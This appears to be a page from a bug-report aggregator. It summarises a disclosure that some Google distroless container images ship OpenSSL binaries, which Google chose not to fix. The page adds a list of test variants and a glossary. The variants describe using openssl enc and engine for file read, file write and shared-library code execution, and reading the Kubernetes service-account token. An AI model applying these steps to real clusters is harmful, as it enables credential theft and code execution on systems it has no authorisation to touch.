No fix was made. The report states that the issue was reported to Google in August 2021 and that Google decided not to fix it. The report does not describe a patch or a configuration change. Its conclusion is that not all distroless images (static, base and others) are created equal, and that this should be taken into account when selecting a base image for critical projects.

Variants to test

  • Check which binaries a minimal image actually ships. A positive result is any general-purpose tool with file read, file write or library loading options, such as openssl with enc and engine.
  • Try enc -in against a known file in a container you have command execution in. A positive result is the file's contents printed at the prompt.
  • Try enc -d -a -out with base64 input to write a file to a writable path such as /tmp. A positive result is the decoded file appearing at that path.
  • Try engine with a compiled shared library. A positive result is code from the library running, for example printing the container hostname.
  • In a cluster, read /var/run/secrets/kubernetes.io/serviceaccount/token through the same read primitive. A positive result is a JWT being returned.
  • Compare the static and base variants of the distroless image, since the report notes they are not all the same. A positive result is a variant that still contains the OpenSSL binaries.
From the original on form3.tech

Glossary

  • Container image: a packaged bundle containing an application and the files it needs to run.
  • Container: a running instance of a container image, isolated from the rest of the machine.
  • Distroless image: a container image that contains only the application and its runtime dependencies, without a shell or package manager.
  • Runtime dependency: a library or file that an application needs while it is running.
  • Package manager: a program that installs, removes and inspects software packages.
  • Shell: a program that reads commands typed by a person and runs them.
  • OpenSSL: a widely used program and library for cryptography, with an interactive command prompt.
  • Binary: a compiled program file that the computer can execute.
  • Subcommand: a word typed after a program name that selects what the program should do.
  • Command execution: getting a computer to run a program or code of your choosing.
  • Arbitrary file read: reading any file the running program has permission to read.
  • Arbitrary file write: writing a file to any path the running program can write to.
  • Shared library: a file of compiled code that a program can load at runtime to add behaviour.
  • Build script: a file of instructions followed by a build tool to assemble software or an image.
  • Bazel: a build tool that follows build scripts to produce outputs such as container images.
  • Debian: a Linux distribution whose packages are used as building blocks here.
  • Debian package: a bundle of files installed together by the Debian package manager.
  • dpkg: the Debian package manager, used to install and inspect packages.
  • Pipe: the | symbol, which feeds the output of one command into another.
  • grep: a program that filters lines of text, keeping those that match a pattern.
  • Docker: a tool for building and running containers.
  • Dockerfile: a file of instructions for building a container image.
  • Golang (Go): a programming language, used here for the demo application.
  • Compiler: a program that turns source code into machine code.
  • Two-stage build: a build that uses one image to compile and a second, smaller image to run the result.
  • Container runtime: the low-level software that starts and manages containers.
  • /etc/passwd: a standard Linux file listing user accounts.
  • kubectl: the command-line tool for talking to a Kubernetes cluster.
  • kubectl cp: a kubectl command that copies files into and out of containers.
  • Kubernetes: a system for running and managing containers across many machines.
  • Cluster: a group of machines managed together to run containers.
  • Pod: the smallest unit Kubernetes runs, usually one container plus its settings.
  • Service account: an identity that a pod uses to talk to the cluster.
  • Token: a credential, like a password, that proves an identity.
  • JWT (JSON Web Token): a compact text format for credentials, often starting with eyJ.
  • Secret: a piece of sensitive configuration, such as a password or key, that Kubernetes can inject or mount into a pod.
  • Base64: an encoding that turns binary data into plain text so it can be typed or pasted.
  • gcc: the GNU C compiler, which turns C source code into machine code.
  • Position-independent code (-fPIC): a way of compiling code so it can be loaded anywhere in memory, as shared libraries require.
  • Macro: a piece of code that expands into larger code during compilation.
  • Header file: a file that declares functions and types used by C source code.
  • uname: a system call that returns information about the machine, including its hostname.
  • Hostname: the name of a machine on a network.
  • Environment: the collection of named values that programs use for configuration.
  • Command injection: tricking an application into running commands hidden inside data it was given.
  • CVSS: a standard scoring system for the severity of a vulnerability.
  • Proof of concept (PoC): a small demonstration that shows a weakness is real.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.